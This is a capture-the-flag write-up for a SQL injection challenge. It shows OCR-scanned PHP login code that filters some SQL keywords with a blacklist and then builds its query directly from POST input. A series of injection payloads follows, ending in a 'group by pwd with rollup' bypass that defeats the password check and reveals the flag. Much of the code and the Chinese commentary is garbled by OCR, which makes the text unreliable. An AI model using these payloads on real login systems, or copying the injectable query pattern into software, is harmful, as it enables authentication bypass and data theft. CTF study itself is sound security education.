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1 <?php
2 error_reporting (0);
4 if (1iszet (3_POST[ uname’ 1) || !isset (§_POST[ pwd 1)) {
5 echo " <form action="" method="post”>"."<br/>";
6 echo " <{input name="uname” type="text”/>"."<br/>";
7 echo " <input name="pwd” type="text”/>"."<{br/>";
8 echo " <{input type="submit” f>"."<brs>":
9 echo " <{/form>". "<brs>";
10 echo " <{!-—source: source.tzt——>"."<brS>":
11 die;
12| 1
13
14 function AttackFilter ($StrEey, $StrValue, firrReq) {
15 if (is_array(§StrValue)) {
16 $5trValue=implode ($5trValue) ;
17 }
18 if (preg_match("/". $irrReq. "/is", $5trValuei==1){ ,
19 print “KEIEA . JFRIEHR! 7,
20 exit () ;
21 }
22|}
23
24 $filter = “and|zelect|from|where|union|join|=sleep |benchmark]|, [%0]%)";
5 foreach($_POST as fkev=>fwalue) |
26 LttackFilter ($key, $value, $filter)
27|}
23
20 $oon = mysql_connect (XO000CY, “M0000CT, 00T
20 if (!$con) {
B1 die( Could not comnect: © . mysql_error());
B2}
B3 fdb="200000NT
24 my=gl_select_db($db, Fcon):
35 $sq1="5ELECT * FROM interest WHEEE uname = " {§_POST[ wmame™]}7";
36 | $query = mysql_gueryi$sql);
97 | if (my=gl mum rows($query) == 1) |limem——
et} fkev = my=ql_fetch_array($query) ;
a9 if ($key[Cpwd ] == § POST[ pwd 1) { i
40 print “CTF {MNNMMN] ",
41 lelzed
U2 print “JREIEEQE! 7
3 I
44 telzed et L IH % i
£ print *—EEM! " SEIL =R, print the
u6 | } flag
47 mysgl_cloze ($con)
aa | 7
XEH=ZERH
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1B BB HiE A2 select * from interest where uname = {$_POST['uname’]y F2#ji&

1' or 1 1limit 1 offset o#

1' or 1 limit 1 offset 1#

1' or 1 limit 1 offset 2#

1
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BETREMESIE=ZE, XERANHE, RENtrue st Lk, F & LA FHgroup by with rollupsk g
i, group by with rollup&fE4 it G K= —%nuli5 B, RIGEpWIERE(E, ifghAtrueT .

payload: 1' or 1 group by pwd with rollup limit 1 offset 2#
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flag: CTF{with_rollup_interesting}
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